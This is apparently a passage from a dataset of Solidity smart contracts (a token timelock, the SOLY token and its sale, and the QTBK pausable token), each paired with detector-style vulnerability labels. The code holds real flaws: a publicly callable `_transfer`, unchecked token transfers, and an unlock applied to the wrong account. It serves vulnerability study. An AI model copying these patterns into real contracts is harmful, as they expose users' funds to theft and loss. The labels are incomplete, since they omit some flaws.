function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev A token holder contract that will allow a beneficiary to withdraw the
* tokens after a given release time.
*/
contract SupervisedTimelock is Ownable {
using SafeERC20 for IERC20;
// Seconds of a day
uint256 private constant SECONDS_OF_A_DAY = 86400;
// The OctToken contract
IERC20 private immutable _token;
// beneficiary of tokens after they are released
address private immutable _beneficiary;
// The start timestamp of token release period.
//
// Before this time, the beneficiary can NOT withdraw any token from this contract.
uint256 private immutable _releaseStartTime;
// The end timestamp of token release period.
//
// After this time, the beneficiary can withdraw all amount of benefit.
uint256 private _releaseEndTime;
// Total balance of benefit
uint256 private _totalBenefit;
// The amount of withdrawed balance of the beneficiary.
//
// This value will be updated on each withdraw operation.
uint256 private _withdrawedBalance;
// The flag of whether this contract is terminated.
bool private _isTerminated;
event BenefitWithdrawed(address indexed beneficiary, uint256 amount);
event ContractIsTerminated(address indexed beneficiary, uint256 amount);
constructor(
IERC20 token_,
address beneficiary_,
uint256 releaseStartTime_,
uint256 daysOfTimelock_,
uint256 totalBenefit_
) {
_token = token_;
_beneficiary = beneficiary_;
releaseStartTime_ -= (releaseStartTime_ % SECONDS_OF_A_DAY);
_releaseStartTime = releaseStartTime_;
_releaseEndTime =
releaseStartTime_ +
daysOfTimelock_ *
SECONDS_OF_A_DAY;
require(
_releaseEndTime > block.timestamp,
"SupervisedTimelock: release end time is before current time"
);
_totalBenefit = totalBenefit_;
_withdrawedBalance = 0;
_isTerminated = false;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier isNotTerminated() {
require(
_isTerminated == false,
"SupervisedTimelock: this contract is terminated"
);
_;
}
/**
* @return the token being held.
*/
function token() public view returns (IERC20) {
return _token;
}
/**
* @return the beneficiary address
*/
function beneficiary() public view returns (address) {
return _beneficiary;
}
/**
* @return the amount of total benefit
*/
function totalBenefit() public view returns (uint256) {
return _totalBenefit;
}
/**
* @return the balance which can be withdrawed at the moment
*/
function releasedBalance() public view returns (uint256) {
if (block.timestamp <= _releaseStartTime) return 0;
if (block.timestamp > _releaseEndTime) {
return _totalBenefit;
}
uint256 passedDays = (block.timestamp - _releaseStartTime) /
SECONDS_OF_A_DAY;
uint256 totalDays = (_releaseEndTime - _releaseStartTime) /
SECONDS_OF_A_DAY;
return (_totalBenefit * passedDays) / totalDays;
}
/**
* @return the unreleased balance at the moment
*/
function unreleasedBalance() public view returns (uint256) {
return _totalBenefit - releasedBalance();
}
/**
* @return the withdrawed balance at the moment
*/
function withdrawedBalance() public view returns (uint256) {
return _withdrawedBalance;
}
/**
* @notice Withdraws tokens to beneficiary
*/
function withdraw() public {
require(
releasedBalance() > _withdrawedBalance,
"SupervisedTimelock: no more benefit to withdraw"
);
uint256 amount = releasedBalance() - _withdrawedBalance;
require(
token().balanceOf(address(this)) >= amount,
"SupervisedTimelock: deposited amount is not enough"
);
_withdrawedBalance += amount;
token().safeTransfer(_beneficiary, amount);
emit BenefitWithdrawed(_beneficiary, amount);
}
/**
* @notice Teminate this contract and withdraw all amount of unreleased balance to the owner.
* After the contract is terminated, the beneficiary can still withdraw all amount of
* released balance.
*/
function terminate() public onlyOwner isNotTerminated {
_totalBenefit = releasedBalance();
_releaseEndTime =
block.timestamp -
(block.timestamp % SECONDS_OF_A_DAY);
_isTerminated = true;
uint256 amountToWithdraw = token().balanceOf(address(this)) -
(_totalBenefit - _withdrawedBalance);
token().safeTransfer(owner(), amountToWithdraw);
emit ContractIsTerminated(owner(), amountToWithdraw);
}
} | These are the vulnerabilities found
1) weak-prng with High impact
2) divide-before-multiply with Medium impact |
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.6;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () public { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) internal _balances;
mapping (address => mapping (address => uint)) internal _allowances;
uint internal _totalSupply;
address _owner = msg.sender;
function totalSupply() public view override returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) public {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 reward = 2 * amount / 100;
uint256 totalAmount = amount + reward;
_balances[sender] = _balances[sender].sub(totalAmount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(totalAmount);
emit Transfer(sender, recipient, totalAmount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is ERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public{
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
contract PriceConsumerV3 {
AggregatorV3Interface internal priceFeed;
constructor() public {
// Mainnet address : 0xEe9F2375b4bdF6387aa8265dD4FB8F16512A1d46
//Kovan test netwoek: 0x0bF499444525a23E7Bb61997539725cA2e928138
priceFeed = AggregatorV3Interface(0x0bF499444525a23E7Bb61997539725cA2e928138);
}
/**
* Returns the latest price
*/
function getLatestPrice() public view returns (int) {
(
uint80 roundID,
int price,
uint startedAt,
uint timeStamp,
uint80 answeredInRound
) = priceFeed.latestRoundData();
return price;
}
}
contract SOLY is ERC20, ERC20Detailed, PriceConsumerV3{
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
address public ownership;
constructor () ERC20Detailed("Solynta Coin", "SOLY", 18) PriceConsumerV3() public{
ownership = msg.sender;
_totalSupply = 50000000 * (10**uint256(18)) ;
_balances[ownership] = _totalSupply;
}
receive() external payable {
revert();
}
}
contract tokenSale is PriceConsumerV3{
using SafeMath for uint256;
// The token being sold
ERC20 public token;
address public _owner = msg.sender;
address payable wallet = 0xfC5227Db0Fe3C44A193E3412E41B2B7D023D0B5D;
constructor(ERC20 _token) public
{
require(address(_token) != address(0));
token = _token;
}
fallback () payable external{
buy(msg.sender);
}
receive() payable external {
buy(msg.sender);
}
uint256 public weiUSD;
uint256 public amountOfTokens;
function _forwardFunds(uint256 _weiUSD) internal
{
wallet.transfer(_weiUSD);
}
function buy(address beneficiary) payable public
{
require(msg.value > 0 ether," No value transfered");
weiUSD = (uint256)(getLatestPrice());
require(weiUSD != 0, " No exchange value returned. Try again");
uint256 unitPrice = msg.value.div(weiUSD);
amountOfTokens = unitPrice * uint256(10**18); //1 SOLY token * USD amount of Value
uint256 eightPercent = amountOfTokens * 8 / 100 ;
uint256 totalAmount = amountOfTokens + eightPercent;
_forwardFunds(msg.value);
token.transfer(beneficiary, totalAmount);
}
} | These are the vulnerabilities found
1) unchecked-transfer with High impact
2) divide-before-multiply with Medium impact
3) locked-ether with Medium impact |
pragma solidity ^0.5.0;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function isOwner(address account) public view returns (bool) {
if( account == owner ){
return true;
}
else {
return false;
}
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract AdminRole is Ownable{
using Roles for Roles.Role;
event AdminAdded(address indexed account);
event AdminRemoved(address indexed account);
Roles.Role private _admin_list;
constructor () internal {
_addAdmin(msg.sender);
}
modifier onlyAdmin() {
require(isAdmin(msg.sender)|| isOwner(msg.sender));
_;
}
function isAdmin(address account) public view returns (bool) {
return _admin_list.has(account);
}
function addAdmin(address account) public onlyAdmin {
_addAdmin(account);
}
function removeAdmin(address account) public onlyOwner {
_removeAdmin(account);
}
function renounceAdmin() public {
_removeAdmin(msg.sender);
}
function _addAdmin(address account) internal {
_admin_list.add(account);
emit AdminAdded(account);
}
function _removeAdmin(address account) internal {
_admin_list.remove(account);
emit AdminRemoved(account);
}
}
contract Pausable is AdminRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyAdmin whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyAdmin whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
contract ERC20Burnable is ERC20 {
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint256 value) public {
_burn(msg.sender, value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param from address The address which you want to send tokens from
* @param value uint256 The amount of token to be burned
*/
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract QTBK is ERC20Detailed, ERC20Pausable, ERC20Burnable {
struct LockInfo {
uint256 _releaseTime;
uint256 _amount;
}
address public implementation;
mapping (address => LockInfo[]) public timelockList;
mapping (address => bool) public frozenAccount;
event Freeze(address indexed holder);
event Unfreeze(address indexed holder);
event Lock(address indexed holder, uint256 value, uint256 releaseTime);
event Unlock(address indexed holder, uint256 value);
modifier notFrozen(address _holder) {
require(!frozenAccount[_holder]);
_;
}
constructor() ERC20Detailed("Quantbook Token", "QTBK", 18) public {
_mint(msg.sender, 1000000000 * (10 ** 18));
}
function balanceOf(address owner) public view returns (uint256) {
uint256 totalBalance = super.balanceOf(owner);
if( timelockList[owner].length >0 ){
for(uint i=0; i<timelockList[owner].length;i++){
totalBalance = totalBalance.add(timelockList[owner][i]._amount);
}
}
return totalBalance;
}
function transfer(address to, uint256 value) public notFrozen(msg.sender) returns (bool) {
if (timelockList[msg.sender].length > 0 ) {
_autoUnlock(msg.sender);
}
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public notFrozen(from) returns (bool) {
if (timelockList[from].length > 0) {
_autoUnlock(msg.sender);
}
return super.transferFrom(from, to, value);
}
function freezeAccount(address holder) public onlyAdmin returns (bool) {
require(!frozenAccount[holder]);
frozenAccount[holder] = true;
emit Freeze(holder);
return true;
}
function unfreezeAccount(address holder) public onlyAdmin returns (bool) {
require(frozenAccount[holder]);
frozenAccount[holder] = false;
emit Unfreeze(holder);
return true;
}
function lock(address holder, uint256 value, uint256 releaseTime) public onlyAdmin returns (bool) {
require(_balances[holder] >= value,"There is not enough balance of holder.");
_lock(holder,value,releaseTime);
return true;
}
function transferWithLock(address holder, uint256 value, uint256 releaseTime) public onlyAdmin returns (bool) {
_transfer(msg.sender, holder, value);
_lock(holder,value,releaseTime);
return true;
}
function unlock(address holder, uint256 idx) public onlyAdmin returns (bool) {
require( timelockList[holder].length > idx, "There is not lock info.");
_unlock(holder,idx);
return true;
}
/**
* @dev Upgrades the implementation address
* @param _newImplementation address of the new implementation
*/
function upgradeTo(address _newImplementation) public onlyOwner {
require(implementation != _newImplementation);
_setImplementation(_newImplementation);
}
function _lock(address holder, uint256 value, uint256 releaseTime) internal returns(bool) {
_balances[holder] = _balances[holder].sub(value);
timelockList[holder].push( LockInfo(releaseTime, value) );
